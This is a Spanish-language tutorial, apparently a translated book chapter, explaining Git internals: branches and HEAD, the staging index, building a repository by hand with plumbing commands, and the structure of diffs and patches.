Típicamente, la rama apunta a la última confirmación en la línea de desarrollo en el que estás trabajando actualmente.

Para crear otra rama, puedes usar el comando git branch. Cuando haces eso, Git crea otro puntero. Si creaste una rama llamada test, usando git branch test, estarías creando otro puntero que apunta a la misma confirmación como la rama en la que se encuentra:

¿Cómo sabe Git la rama en que te encuentras actualmente? Mantiene otro puntero designado, llamado HEAD. Usualmente, HEAD apunta a una rama, que a su vez apunta a una confirmación. En el caso descrito, HEAD podría apuntar a main, que a su vez apunta a la confirmación B2424. En algunos casos, HEAD también puede apuntar a una confirmación directamente.

Para cambiar la rama activa a ser test, puedes usar el comando git checkout test, o git switch test. Ahora ya puedes adivinar lo que hace este comando en realidad – solo cambia a HEAD a que apunte a test.

También podrías usar git checkout -b test antes de crear la rama test, el cual es el equivalente de ejecutar git branch test para crear la rama, y luego git checkout test para mover el HEAD a que apunte a la nueva rama.

Al punto representado en el dibujo de arriba, ¿qué sucedería si hicieras algunos cambios y crearas una nueva confirmación usando git commit? ¿A qué rama será agregada la nueva confirmación?

La respuesta es la rama test, ya que éste es la rama activa (ya que HEAD apunta a éste). Después, el puntero test se moverá a la nueva confirmación agregada recientemente. Fíjate que HEAD todavía apunta a test.

Si vuelves atrás a main usando git checkout main, Git moverá el HEAD a que apunta a main nuevamente.

Ahora, si creas otra confirmación, ¿a qué rama será agregado?

Así es, será agregado a la rama main (y su padre sería la confirmación B2424).

Pequeña recapitulación - Las ramas

• Una rama es una referencia nombrada a una confirmación.
• Cuando uses git commit, Git crea un objeto de confirmación, y mueve la rama a que apunte a la confirmación creada recientemente.
• HEAD es un puntero especial que le dice a Git qué rama es la rama activa (en casos excepcionales, puede apuntar directamente a una confirmación).

En los próximos capítulos, aprenderás cómo introducir cambios a Git. Crearás un repositorio desde cero – sin usar git init, git add, o git commit. Esto te permitirá profundizar tu entendimiento de lo que está pasando por debajo cuando trabajes con Git. También crearás nuevas ramas, cambiarás ramas, y crearás confirmaciones adicionales – todo sin usar git branch o git checkout. No lo sé tú, pero yo ¡ya estoy entusiasmado!

Capítulo 3 - Cómo registrar cambios en Git

Hasta ahora, hemos aprendido sobre cuatros entidades distintas en Git:

1. Blob –  contenidos de un archivo.
2. Árbol – un lista de directorios (de blobs y árboles).
3. Confirmación – una copia instantánea del árbol de trabajo, con algunos metadatos tales como el tiempo o el mensaje de confirmación.
4. Rama – una referencia nombrada a una confirmación.

Los primeros tres son objetos, donde el cuarto es una forma de referirse a objetos (específicamente, confirmaciones).

Ahora, es tiempo de entender cómo introducir cambios en Git.

Cuando trabajas en tu código fuente, trabajas desde un directorio de trabajo. Un dir(ectorio) de trabajo (también llamado "árbol de trabajo") es cualquier directorio en tu sistema de archivos el cual tiene un repositorio asociado. Contiene las carpetas y los archivos de tu proyecto, y también un directorio llamado .git del cual hablaremos más adelante. Recuerda que dijimos que Git es un sistema para mantener un sistema de archivos. El directorio de trabajo es la raíz del sistema de archivos para Git.

Después de que haces algunos cambios, podrías querer registrarlos en tu repositorio. Un repositorio (en corto: "repo") es una colección de confirmaciones, cada uno de los cuales es un archivo de lo que el árbol de trabajo del proyecto parecía en una fecha anterior, sea en tu máquina o la de alguien más. Eso es, como dije antes, una confirmación es una copia instantánea del árbol de trabajo.

Un repositorio también incluye otras cosas además de tus archivos de código, tales como HEAD y ramas.

Fíjate las convenciones del dibujo que uso: incluyo .git dentro del directorio de trabajo, para recordarte que es una carpeta dentro de la carpeta del proyecto en el sistema de archivos. La carpeta .git en realidad contiene los objetos del repositorio, como veremos en el capítulo 4.

Hay otros sistemas de control de versión donde los cambios son confirmados directamente desde el directorio de trabajo al repositorio. En Git, este no es el caso. En sí, los cambios son primero registrados en algo llamado el índice, o el área de staging.

Ambos términos se refieren a la misma cosa, son usados frecuentemente en la documentación de Git. Usaré estos términos indistintamente a lo largo de este libro, ya que te sentirás mas cómodo con ambos.

Puedes imaginarte el agregar cambios al índice como una forma de "confirmando" tus cambios, uno por uno, antes de crear una confirmación (el cual registra todos los cambios aprobados de una sola vez).

Cuando haces checkout a una rama, Git popula el índice y el directorio de trabajo con los contenidos de los archivos ya que existen en la confirmación a la rama al cual está apuntando. Cuando usas git commit, Git crea un nuevo objeto de confirmación basado en el estado de ese índice.

Usando el índice te permite preparar cuidadosamente cada confirmación. Por ejemplo, podrías tener dos archivos con cambios en tu directorio de trabajo:

Por ejemplo, digamos que estos dos archivos son 1.txt y 2.txt. Es posible agregar solamente uno de ellos (por ejemplo, 1.txt) al índice, usando git add 1.txt:

Como resultado, el estado del índice coincide con el estado del HEAD (en este caso, "Commit 2"), con la excepción del archivo 1.txt, el cual coincide el estado de 1.txt en el directorio de trabajo. Ya que no pusiste en el área de preparación a 2.txt, el índice no incluye a la versión actualizada de 2.txt. Así que el estado de 2.txt en el índice coincide con el estado de 2.txt en el "Commit 2".

En detrás de escena - una vez que pones en el área de preparación una versión de un archivo, Git crea un objeto blob con los contenidos del archivo. Este objeto blob es agregado luego al índice. Siempre y cuando solamente modifiques el archivo en el directorio de trabajo, sin ponerlo en el área de preparación, los cambios que hagas no son registrados en los objetos blob.

Cuando consideramos la figura previa, fíjate que no dibujo la versión del área de preparación del archivo como parte del "repositorio", ya que esta representación, el "repositorio" se refiere a un árbol de confirmaciones y sus referencias, y este blob no ha sido parte de ninguna confirmación.

Ahora, puedes usar git commit para registrar el cambio a 1.txt solamente:

Usando git commit ejecuta dos operaciones principales:

1. Crea un nuevo objeto de confirmación. Este objeto de confirmación refleja el estado del índice cuando ejecutaste el comando git commit.
2. Actualiza a la rama activa para que apunte a la confirmación creada recientemente. En este ejemplo, el main ahora apunta al "Commit 3", el nuevo objeto de confirmación.

Cómo crear un repo – La Forma Convencional

Vamos a asegurarnos que entiendas cómo los términos que hemos introducidos se relacionan al proceso de crear un nuevo repositorio. Este es un vistazo rápido de alto nivel, antes de sumergirnos más profundamente en este proceso.

Inicializa un nuevo repositorio usando git init my_repo, y luego cambia tu directorio al repositorio usando cd my_repo:

Usando tree -f .git puedes ver que ejecutando git init my_repo resultó en unos pocos sub-directorios dentro de .git. (El argumento -f incluye archivos en la salida del árbol).

Nota: si estás usando Windows, ejecuta tree /f .git.

Crea un archivo dentro del directorio my_repo:

Este archivo está dentro de tu directorio de trabajo. Si ejecutas git status, verás este archivo no está rastreado:

Los archivos en tu directorio de trabajo puede ser uno de los dos estados: rastreados o no rastreados.

Los archivos rastreados son archivos que Git "conoce". Ellos estuvieron en la última confirmación, o están en el área de preparación ahora (eso es, están en el área staging).

Los archivos no rastreados son todos los demás – cualquier archivo en tu directorio de trabajo que no estuvieron en tu última confirmación, y que no están en tu área de preparación.

El nuevo archivo (f.txt) no está rastreado actualmente, ya que no lo has agregado al área de preparación, y no ha sido incluido en la confirmación anterior.

Ahora puedes agregar este archivo al área de preparación (también referido como poner en staging este archivo) usando git add f.txt. Puedes verificar que ha sido puesto en el área de preparación ejecutando git status:

Así que ahora el estado del índice coincide con el directorio de trabajo:

Ahora puedes crear una confirmación usando git commit:

Si ejecutas git status nuevamente, verás que el estado está limpio - eso es, el estado de HEAD (el cal apunta a tu confirmación inicial) equivale al estado del índice, y también el estado del directorio de trabajo. Usando git log verás en realidad que HEAD apunta a main el cual a su vez apunta a la nueva confirmación:

¿Ha cambiado algo dentro del directorio .git? Ejecuta tree -f .git para verificar:

Aparentemente, un montón ha cambiado. Es tiempo de sumergirnos más profundo en la estructura de .git y entender qué está pasando por detrás cuando ejecutas git init, git add o git commit. Eso es exactamente lo que cubrirá el próximo capítulo.

Recapitulación - Cómo registrar cambios en Git

Aprendiste sobre los tres "estados" distintos del sistema de archivos que Git mantiene:

• Dir(ectorio) de trabajo (también llamado "árbol de trabajo") - cualquier directorio en tu sistema de archivos el cual tiene un repositorio asociado.
• Índice, o el Área de preparación - un espacio de interacción para la próxima confirmación.
• Repositorio (en corto: "repo") - una colección de confirmaciones, el cual cada una es una copia instantánea del árbol de trabajo.

Cuando introduces cambios en Git, casi siempre sigue este orden:

1. Cambias el directorio de trabajo primero
2. Luego pones estos cambios en el área de preparación (o algunos de ellos) al índice
3. Y finalmente, confirmas estos cambios - de esta forma actualiza el repositorio con una nueva confirmación. El estado de esta nueva confirmación coincide con el estado del índice

¿Listo para sumergirte más profundo?

Capítulo 4 - ¿Cómo crear un repo desde cero?

Hasta ahora hemos cubiertos algunos fundamentos de Git, y ahora deberías estar listo para realmente continuar con Git.

Para entender profundamente cómo funciona Git, crearás un repositorio, pero esta vez – lo construirás desde cero. Como en otros capítulos, te animo a intentar los comandos a lo largo de este capítulo.

Cómo configurar .git

Crea un nuevo directorio, y ejecuta git status dentro:

Muy bien, parece que Git no está feliz ya que no tiene una carpeta .git todavía. Lo natural por hacer sería crear ese directorio e intentarlo otra vez:

Aparentemente, crear un directorio .git no es suficiente. Necesitas agregar algún contenido a ese directorio.

Un repositorio de Git tiene dos conceptos principales:

• Una colección de objetos – blobs, árboles, y confirmaciones.
• Un sistema de nombramiento de esos objetos – llamados referencias.

Un repositorio también podría contener otras cosas, tales como hooks, pero a lo menos – debe incluir objetos y referencias.

Crear un repositorio para los objetos en .git/objets, y un directorio para las referencias (en forma corta: "refs") en .git/refs (en sistemas Windows – .git\objects y .git\refs, respectivamente).

Un tipo de referencia son las ramas. Internamente, Git llama a las ramas por el nombre de heads. Crea un directorio para las ramas – .git/refs/heads.

Esto todavía no cambia el resultado de git status:

¿Cómo sabe Git dónde comenzar cuando busca una confirmación en el repositorio? Como expliqué antes, busca el HEAD, el cual apunta a la rama actual activa (o la confirmación, en algunos casos).

Así que, necesitas crear el HEAD, el cual es sólo un archivo que reside en .git/HEAD. Puedes aplicar lo siguiente:

En UNIX:

echo "ref: refs/heads/main" > .git/HEAD

En Windows:

echo ref: refs/heads/main > .git\HEAD

Así que ahora sabes cómo se implementa HEAD – es simplemente un archivo, y su contenido describe a qué apunta.

Siguiendo el comando de arriba, git status parece cambiar su pensamiento:

Fíjate que Git "cree" que estás en la rama llamada main, aunque no has creado esta rama. main es sólo un nombre. También puedes hacer creer a Git que estás en una rama llamada banana si quieres:

Vuelve al main, ya que continuarás trabajando (mayormente) allí a lo largo de este capítulo, sólo para aderirnos a la convención regular:

echo "ref: refs/heads/main" > .git/HEAD

Ahora que tienes tu directorio .git listo, puedes trabajar a tu manera para hacer una confirmación (de nuevo, sin usar git add o git commit).

Comandos de plomería vs comandos de porcelana en Git

A este punto, debería ser bueno hacer una distinción entre dos tipos de comandos de Git: de plomería y de porcelana. La aplicación de los términos extrañamente viene de los baños, tradicionalmente los hechos de porcelana, y la infraestructura de la plomería (las cañerías y los drenajes).

La capa de porcelana provee una interfaz amigable para el usuario en la plomería. La mayoría de la gente solamente manejan la porcelana. Aún así, cuando las cosas van (terriblemente) mal, y alguien quiere entender el por qué, tendrían que remangarse y tratar con la plomería.

Git usa esta terminología como una analogía para separar los comandos de bajo nivel que los usuarios usualmente no necesitan usar directamente (comandos "de plomería") de los comandos de alto nivel (comandos "de porcelana").

Hasta ahora, has lidiado con comandos de porcelana – git init, git add o git commit. Es tiempo de ir más profundo, y que te familiarices con algunos comandos de plomería.

Cómo crear objetos en Git

Empieza por crear un objeto y escríbelo dentro de la base de datos de los objetos de Git, que reside dentro de .git/objects. Para saber el valor del hash SHA-1 de un blob, puedes usar git hash-object. (Sí, un comando de plomería), de la siguiente forma:

En UNIX:

echo "Git is awesome" | git hash-object --stdin

En Windows:

> echo Git is awesome | git hash-object --stdin

Usando --stdin estás instruyendo a git hash-object que tome su entrada de la entrada estándar. Esto te proveerá con el valor del hash relevante:

En realidad para escribir ese blob dentro de la base de datos de objetos de Git, puedes agregar el conmutador -w por git hash-object. Después, verifica el contenido de la carpeta .git, y mira si han cambiado:

Puedes ver que el hash de tu blob es 7a9bd34a0244eaf2e0dda907a521f43d417d94f6. También puedes ver que un directorio ha sido creado como .git/objects, un directorio llamado 7a, y dentro, un archivo con el nombre de 7a9bd34a0244eaf2e0dda907a521f43d417d94f6.

Lo que Git hizo aquí es tomar los primeros dos caracteres del hash SHA-1, y usarlos como el nombre de un directorio. Los caracteres sobrantes son usados como el nombre de archivo para el archivo que en realidad contiene el blob.

¿Por qué eso es así? Considera un repositorio considerablemente grande, uno que tiene 400,000 objetos (blobs, árboles, y confirmaciones) en su base de datos. Buscar un hash dentro de esa lista de 400,000 hashes podría tomar un buen rato. Así, Git simplemente divide ese problema por 256.

Para buscar el hash de arriba, Git primero miraría el directorio llamado 7a dentro del directorio .git/objects, el cual tendría hasta 256 directorios (00 hasta FF). Luego, buscaría dentro de ese directorio, acortando la búsqueda a medida que continúa.

De vuelta al proceso de generar una confirmación. Has creado un objeto solamente. ¿Cuál es el tipo de ese objeto? Puedes usar otro comando de plomería, git cat-file -t (-t significa "type" - "tipo"), para verificar eso:

No sorprendentemente, este objeto es un blob. También puedes usar git cat-file -p (-p significa "pretty-print" - "imprimir-bonito") para ver su contenido:

Este proceso de crear un objeto blob como .git/objects usualmente sucede cuando agregas algo al área de preparación – eso es, cuando usas git add. Así que los blobs no son creados cada vez que guardes un archivo al sistema de archivos (el directorio de trabajo), sino solamente cuando lo pongas en el área de preparación.

Recuerda que Git crea un blob del archivo entero que se pone en el área de preparación. Inclusive si un solo caracter es modificado o agregado, el archivo tiene un nuevo blob con un nuevo hash (como en el ejemplo del capítulo 1 donde agregaste ! al final de la línea).

¿Habrá algún cambio a git status?

Aparentemente, no. Agregar un objeto blob a la base de datos interno de Git no cambia el estado, ya que Git no sabe de ningún archivo con seguimiento (o sin seguimiento) en esta área de preparación.

Necesitas rastrear este archivo – agregarlo al área de preparación. Para hacer eso, puedes usar otro comando de plomería, git update-index, así:

git update-index --add --cacheinfo 100644 <blob-hash> <filename>

Nota: El cacheinfo es un modo de archivo de 16-bits almacenado por Git, siguiendo el diseño de los tipos y modos de POSIX. Esto no está dentro del enfoque de este libro, ya que no es realmente importante para que hagas las cosas.

Ejecutar el comando de arriba resultará en un cambio al contenido de .git:

¿Puedes encontrar el cambio? Un nuevo archivo con el nombre de index ha sido creado. Eso es todo – el famoso índice (o área de preparación), es básicamente un archivo que reside dentro de .git/index.

Así que ahora que tu blob ha sido agregado al índice, ¿esperas que git status luzca diferente?

¡Eso es interesante! Dos cosas pasaron aquí.

Primero, puedes ver que awesome.txt aparece en verde, en el área "Changes to be committed" ("Cambios a ser confirmados"). Eso es así porque el índice ahora incluye a awesome.txt, esperando a ser confirmado.

Segundo, podemos ver que awesome.txt aparece en rojo – porque Git cree que el archivo awesome.txt ha sido eliminado, y el hecho que el archivo ha sido eliminado sino que no está en el área de preparación.

(Nota: te habrás dado cuenta que a veces me refiero a Git con palabras tales como "cree", "piensa", o "quiere". Como expliqué en la introducción de este libro - para que disfrutemos jugando con Git, y leer (y escribir) este libro, siento que referirse a Git más que sólo código lo hace mucho más divertido.)

Esto sucede ya que agregaste el blob con el contenido Git is awesome a la base de datos de los objetos, y actualizaste el índice que el archivo awesome.txt retiene el contenido de ese blob, pero en realidad nunca creaste ese archivo en el disco.

Fácilmente puedes resolver esto tomando el contenido de ese blob y escribirlo a nuestro sistema de archivos, a un archivo llamado awesome.txt:

echo "Git is awesome" > awesome.txt

Como resultado, ya no aparecerá en rojo por git status:

Así que ahora es tiempo de crear un objeto de confirmación desde tu área de preparación. Como expliqué en el capítulo 1, un objeto de confirmación tiene una referencia a un árbol, así que necesitas crear un árbol.

Puedes lograr esto usando el comando git write-tree, el cual registra los contenidos del índice en un objeto árbol. Por supuesto, puedes usar git cat-file -t para ver que en sí es un árbol:

Y puedes usar git cat-file -p para ver su contenido:

Genial, así que creaste un árbol, y ahora necesitas crear un objeto de confirmación que referencia a este árbol. Para hacer eso, puedes usar el comando:

git commit-tree <tree-hash> -m <commit message>

Ahora deberías sentirte cómodo con los comandos usados para verificar el tipo de objeto creado, e imprimir su contenido:

Fíjate que este objeto de confirmación no tiene un padre, porque no es la primer confirmación. Cuando agregas otra confirmación probablemente querrás declarar su padre – no te preocupes, lo harás así más tarde.

El último hash que tuvimos – b6d05ee40344ef5d53502539772086da14ad2b07 – es un hash de la confirmación. En realidad deberías estar acostumbrado en usar estos hashes – probablemente los ves todo el tiempo (cuando usas git log, por ejemplo). Fíjate que el objeto de confirmación apunta a un objeto de árbol, con su propio hash, el cual raramente especificas explícitamente.

¿Cambiará algo en git status?

No, nada ha cambiado. ¿Por qué es eso?

Bueno, para saber que tu archivo ha sido confirmado, Git necesita saber sobre la última confirmación. ¿Cómo sabe Git eso? Va al HEAD:

HEAD apunta a main, pero, ¿qué es main? Aún no lo has creado.

Como explicamos en el capítulo 2, una rama es simplemente una referencia nombrada a una confirmación. Y en este caso, nos gustaría que main se refiriera al objeto de confirmación con el hash b6d05ee40344ef5d53502539772086da14ad2b07.

Puedes lograr esto creando un archivo en .git/refs/heads/main, con el contenido de este hash, así:

En resumen, una rama es sólo un archivo dentro de .git/refs/heads, que contiene un hash de la confirmación a la que se refiere.

Ahora, finalmente, git status y git log parecen apreciar nuestros esfuerzos:

¡Has creado con éxito una confirmación sin usar comandos de porcelana! ¿No es genial eso?

Recapitulación - Cómo crear un repo desde cero

En este capítulo, sin miedo te sumergiste en profundidad en Git. Paraste de usar comandos de porcelana y te cambiaste a los comandos de plomería.

Al usar echo y comandos de nivel bajo tales como git hash-object, fuiste capaz de crear un blob, agregarlo al índice, crear un árbol del índice, y crear un objeto de confirmación apuntando a ese árbol.

También aprendiste que HEAD es un archivo, localizado en .git/HEAD. Las ramas son archivos también, localizados en .git/refs/heads. Cuando entiendes cómo opera Git, esas nociones abstractas de HEAD o "ramas" se vuelven muy tangibles.

En el próximo capítulo profundizarás tu entendimiento de cómo trabajan las ramas por detrás.

Capítulo 5 - Cómo trabajar con las ramas en Git – Por debajo

En el capítulo anterior creaste un repositorio y una confirmación sin usar git init, git add o git commit. En este capítulo, crearemos y cambiaremos entre ramas sin usar comandos de porcelana (git branch, git switch, o git checkout).

Es perfectamente entendible si estás emocionado, ¡yo también lo estoy!

Continuando con lo del capítulo anterior - solamente tienes una rama, llamada main. Para crear otra con el nombre de test (como el equivalente de git branch test), necesitarías crear un archivo llamado test dentro de .git/refs/heads, y el contenido de ese archivo sería el mismo hash de la confirmación al que apunta la rama main.

Si usas git log, puedes ver que esto en sí es el caso – ambos main y test apuntan a esta confirmación:

(Nota: si ejecutas este comando y no ves una salida válida, podrías haber escrito algo más que el hash de la confirmación en .git/refs/heads/test.)

Siguiente, cambiar a nuestra rama creada recientemente (el equivalente de git checkout test). ¿Cómo harías eso? Intenta responderte a ti mismo antes de que nos movamos al siguiente párrafo.

Para cambiar la rama activa, debería cambiar el HEAD a que apunte a tu nueva rama:

Como puedes ver, git status confirma que HEAD ahora apunta a test, el cual es, por lo tanto, la rama activa.

Ahora puedes usar los comandos que ya has usado en el capítulo anterior para crear otro archivo y agregarlo al índice:

Siguiendo los comandos de arriba, tu:

• Creas un blob con el contenido de Another file (usando git hash-object).
• Agregas al índice con el nombre de another_file.txt (usando git update-index).
• Creas un archivo correspondiente en el disco con el contenido del blob (usando git cat-file -p).
• Creas un objeto árbol representando al índice (usando git write-tree).

Ahora es tiempo de crear una confirmación que referencie a este árbol. Esta vez, también deberías especificar el padre de esta confirmación – el cual debería ser la confirmación anterior. Especificas el padre usando el argumento -p de git commit-tree:

Hemos creado una confirmación, con un árbol así también como un padre, como puedes ver:

¿git log nos mostrará la nueva confirmación?

Como puedes ver, git log no nos muestra nada nuevo. ¿Por qué es eso?

Recuerda que git log rastrea las ramas para encontrar confirmaciones relevantes para mostrar. Nos muestra ahora test y la confirmación a la que apunta, y también nos muestra a main el cual apunta a la misma confirmación.

Así es – necesitas hacer que test apunte al nuevo objeto de confirmación. Puedes hacer eso cambiando el contenido de .git/refs/heads/test:

echo 22267a945af8fde78b62ee7f705bbecfdd276b3d > .git/refs/heads/test

Y ahora si ejecutas git log:

¡Funcionó!

git log va al HEAD, el cual le dice a Git que vaya a la rama test, el cual apunta a la confirmación 222..3d, el cual se enlaza a su confirmación padre b6d..07.

Admira la belleza de Git 😊

Al inspeccionar la carpeta de tu repositorio, puedes ver que tienes seis objetos distintos en la carpeta .git/objects - estos son los dos blobs que creaste (uno para awesome.txt y uno para file.txt), dos objetos de confirmación ("Commit 1" y "Commit 2"), y los tres objetos - cada uno apuntado por uno de los objetos de confirmación.

También tienes a .git/HEAD que apunta a la rama o confirmación activa, y dos ramas - dentro de .git/refs/heads.

Recapitulación - Cómo trabajar con las ramas en Git – Por debajo

En este capítulo entendiste cómo trabajan realmente las ramas en Git.

Las cosas principales que cubrimos:

• Una rama es un archivo en la carpeta .git/refs/heads, donde el contenido del archivo es una valor SHA-1 de una confirmación.
• Para crear una nueva rama, Git simplemente crea un nuevo archivo en la carpeta .git/refs/heads con el nombre de la rama - por ejemplo, .git/refs/heads/my_branch para la rama my_branch.
• Para cambiar la rama activa, Git modifica el contenido de .git/HEAD para referirse a la nueva rama activa. .git/HEAD también podría apunta a un objeto de confirmación directamente.
• Cuando se confirma usando git commit, Git crea un objeto de confirmación, y también mueve la rama actual (eso es, el contenido del archivo en .git/refs/heads) a que apunte al objeto de confirmación recientemente creado.

Parte 1 - Resumen

Esta parte te introdujo lo interno de Git. Empezamos cubriendo los objetos básicos – blobs, árboles, y confirmaciones.

Aprendiste que un blob contiene el contenido de un archivo. Un árbol es un listado de directorios, conteniendo blobs y/o sub árboles. Una confirmación es una copia instantánea de nuestro directorio de trabajo, con algunos meta datos tales como el tiempo o el mensaje de confirmación.

Aprendiste sobre las ramas, viendo que no son más que una referencia nombrada a una confirmación.

Aprendiste el proceso de registrar cambios en Git, y que involucra el directorio de trabajo, un directorio que tiene un repositorio al que se asocia, el área de preparación (índice) el cual contiene el árbol para la próxima confirmación, y el repositorio, el cual es una colección de confirmaciones y referencias.

Clarificamos cómo estos términos se relacionan a los comandos de Git que conocemos al crear un nuevo repositorio y confirmando un archivo usando los comandos bien conocidos git init, git add y git commit.

Luego creaste un nuevo repositorio desde cero, usando echo y comandos de bajo nivel tales como git hash-object. Creaste un blob, le agregaste al índice, creaste un objeto de árbol representando al índice, e inclusive creaste un objeto de confirmación apuntando a ese árbol.

También fuiste capaz de crear y cambiar entre ramas modificando los archivos directamente. ¡Felicitaciones para aquellos que lo intentaron por sí mismos!

Todo junto ya, después de seguirme en esta parte, deberías sentir que has profundizado tu entendimiento de lo que está pasando por debajo cuando trabajas con Git.

La próxima parte explorarás diferentes estrategias para integrar cambios cuando se trabaja en diferentes ramas en Git - específicamente, merge y rebase.

Parte 2 - Ramificando e Integrando Cambios

Capítulo 6 - Diffs y Parches

En la parte 1 aprendiste cómo funciona Git por detrás, los diferentes objetos de Git, y cómo crear un repo desde cero.

Cuando los equipos trabajan con Git, introducen secuencias de cambios, usualmente en ramas, y luego necesitan combinar diferente historiales de cambios juntos. Para realmente entender cómo se logra esto, deberías aprender cómo trata Git a los diffs y a los parches. Luego aplicarás tus conocimientos para entender el proceso de merge y rebase.

Muchos de los procesos interesantes de Git como fusión, rebasing, o inclusive confirmar están basados en los diffs y parches. Los desarrolladores trabajan con diffs todo el tiempo, estés usando Git directamente o basándote en la vista diff del IDE. En este capítulo, aprenderás cómo son los diffs y parches, su esctructura, y cómo aplicar parches.

Como recordatorio del capítulo de Objetos de Git, una confirmación es una copia instantánea del árbol de trabajo en un cierto punto en el tiempo, además de algunos metadatos.

Aún así, es realmente difícil entender las confirmaciones individuales al mirar el árbol entero de trabajo. En sí, es más útil mirar cuán diferente es una confirmación de su confirmación padre, eso es, la diff entre estas confirmaciones.

Así que, ¿a qué me refiero cuando digo "diff"? Empecemos con algo de historia.

La historia de diff de Git

El diff de Git está basado en la utilidad diff de sistemas UNIX. diff fue desarrollado a principios de los '70 en el sistema operativo Unix. La primer versión lanzada se envió con la Quinta Edición de Unix en 1974.

git diff es un comando que toma dos entradas, y calcula la diferencia entre ellos. Las entradas pueden ser confirmaciones, pero también archivos, e inclusive archivos que nunca han sido introducidos al repositorio.

Esto es importante - git diff calcula la diferencia entre dos cadenas, el cual la mayor de las veces llega a consistir en código, pero no necesariamente.

Tiempo de manos a la obra

Como siempre, se te anima a que ejecutes los comandos tu mismo al leer este capítulo. A menos que se diga otra cosa, usaré el siguiente repositorio:

https://github.com/Omerr/gitting_things_repo.git

Lo puedes clonar localmente y tener el mismo punto de comienzo que estoy usando para este capítulo.

Considera este archivo de texto corto en mi máquina, llamado file.txt, el cual consiste de 6 líneas:

Ahora, modifica este archivo un poco. Quita la segunda línea, e inserta una nueva línea como la línea cuatro. Agrega un signo de admiración (!) al final de la última línea, así obtienes este resultado:

Guarda este archivo con un nuevo nombre, new_line.txt.

Ahora puedes ejecutar git diff para calcular la diferencia entre los archivos así:

git diff --no-index file.txt new_file.txt

(Explicaré el argumento --no-index de este comando más tarde. Por ahora es suficiente saberlo para que nos permita comparar dos archivos que no son partes de un repositorio de Git.)

La salida de git diff muestra bastante cosas.

Enfócate en la parte empezando con This is a file. Puedes ver que la línea agregada (// new test) es precedida por un signo +. La línea eliminada es precedida por un símbolo -.

Curiosamente, fíjate que Git ve a la línea modificada como una secuencia de dos cambios - borrar una línea y agregar una nueva. Así que el parche incluye eliminar la última línea, y agregar una nueva línea que es igual a esa línea, con la suma de un !.

Ahora sería bueno discutir los términos "patch" y "diff". Estos dos son usados con frecuencia indistintamente, aunque hay una distinción, al menos históricamente.

Un diff muestra las diferencias entre dos archivos, o copias instantáneas, y puede ser bastante mínimo en hacerlo así. Un patch (parche) es una extensión de un diff, aumentado con más información tales como líneas de contexto y nombre de archivos, el cual le permite ser aplicado más ampliamente. Es un documento de texto que describe cómo alterar un archivo existente o base de código.

En estos días, el programa diff de Unix, y git diff, pueden producir parches de varios tipos.

Un parche es una representación compacta de las diferencias entre dos archivos. Describe cómo convertir un archivo en otro.

En otras palabras, si aplicas las "instrucciones" producidas por git diff en file.txt - eso es, quitar la segunda línea, insertar // new test como la cuarta línea, quitar la última línea, y agregar una línea con el mismo contenido y ! - tendrás el contenido de new_file.txt.

Otra cosa importante a notar es que un parche es asimétrico: el parche de file.txt a new_file.txt no es el mismo que el parche para la otra dirección. Generar un parche entre new_file.txt y file.txt, en este orden, significaría exactamente las instrucciones opuestas que antes - agregar la segunda línea en vez de quitarla, y así sucesivamente.

Inténtalo:

git diff --no-index new_file.txt file.txt

El formato del parche usa contexto, así también como números de líneas, para localizar diferentes regiones de archivos. Esto permite a un parche ser aplicado a alguna versión más antigua o más reciente de la primera línea a aquel del que se derivó, siempre y cuando el programa que se aplica aún pueda localizar el contexto del cambio. Veremos cómo son usados exactamente.

La Estructura de un Diff

Es tiempo de indagar más profundamente.

Genera un diff de file.txt a new_file.txt nuevamente, y considera la salida más cuidadosamente:

git diff --no-index file.txt new_file.txt

La primer línea introduce los archivos comparados. Git siempre le da a un archivo el nombre de a, y al otro el nombre de b. Así que en este caso file.txt se llama a, donde new_file.txt se llama b.

Luego la segunda línea, comenzando con index, incluye los SHAs del blob de estos archivos. Así que aunque en nuestro caso inclusive no se guardan dentro de un repo de Git, Git muestra sus valores SHA-1 correspondientes.

El tercer valor en esta línea, 100644, es el "modo bits", indicando que esto es un archivo "regular": no ejecutable y no es un enlace simbólico.

El uso de dos puntos (..) aquí entre los SHAs del blob es sólo como un separador (a diferencia de otros casos donde se usa dentro de Git).

Otras líneas de encabezado pueden indicar el modo bits antiguo y nuevo si han cambiado, nombres de archivos antiguos y nuevos si los archivos fueron renombrados, y así sucesivamente.

Los SHAs del blob (también llamados "blob IDs") son útiles si este parche luego se aplica por Git al mismo proyecto y hay conflictos al aplicarse. Entenderás mejor qué significa esto cuando aprendas sobre las fusiones en el próximo capítulo.

Luego de los IDs del blob, tenemos dos líneas: una comenzando con signos -, y los otros comenzando con signos +. Este es el encabezado "diff unificado" tradicional, de nuevo mostrando los archivos siendo comparados y la dirección de los cambios: signos - muestra líneas en la versión A que faltan de la versión B, y signos - muestra líneas que faltan en la versión A pero que están presentes en el B.

Si el parche de este archivo estuviera siendo agregado o eliminado en su totalidad, entonces uno de estos serían /dev/null para señalar eso.

Considera el caso donde eliminas un archivo:

rm awesome.txt

Y luego usa git diff:

La versión A, representando el estado del índice, es actualmente awesome.txt, comparado al directorio de trabajo donde este archivo no existe, así que es /dev/null. Todas las líneas son precedidas por signos - ya que existen solamente en la versión A.

Por ahora, deshace la eliminación (más sobre deshaciendo cambios en la Parte 3):

git restore awesome.txt

Volviendo al diff con el que comenzamos:

Después de este encabezado diff unificado, llegamos a la parte principal del diff, consistiendo de "secciones de diferencia", también llamados "hunks" o "chunks" en Git. Fíjate que estos términos son usados indistintamente, y podrías encontrarte con uno de ellos en la documentación y tutoriales de Git, así también como código fuente de Git.

Cada hunk comienza con una sola línea, comenzando con dos signos @. Estos signos son seguidos en la mayoría de veces por cuatro números, y luego un encabezado para el chunk - el cual es una suposición educada por Git. Usualmente, incluirá el comienzo de una función o una clase, cuando fuese posible.

En este ejemplo no incluye nada ya que este es un archivo de texto, así que considera otro ejemplo por un momento:

git diff --no-index example.py example_changed.py

En la imagen de arriba, el encabezado del hunk incluye el comienzo de la función que incluye las líneas cambiados - def example_function(x).

De vuelta a nuestro ejemplo previo:

Después de dos signos @, encontrarás cuatro números:

Los primeros números son precedidos por un signo - ya que se refieren a file A. El primer número representa el número de línea correspondiente a la primer línea en file A a la que este hunk se refiere. En el ejemplo de arriba, es 1, lo que significa que la línea This is a file corresponde al número de línea 1 en la versión de file A.

Este número es seguido por una coma (,), y luego el número de líneas del que este chunk consiste en el file A. Este número incluye todas las líneas de contexto (las líneas precedidas con un espacio en el diff), o líneas marcadas con un signo -, ya que son parte de file A, pero no las líneas marcadas con un signo +, ya que no existen en file A.

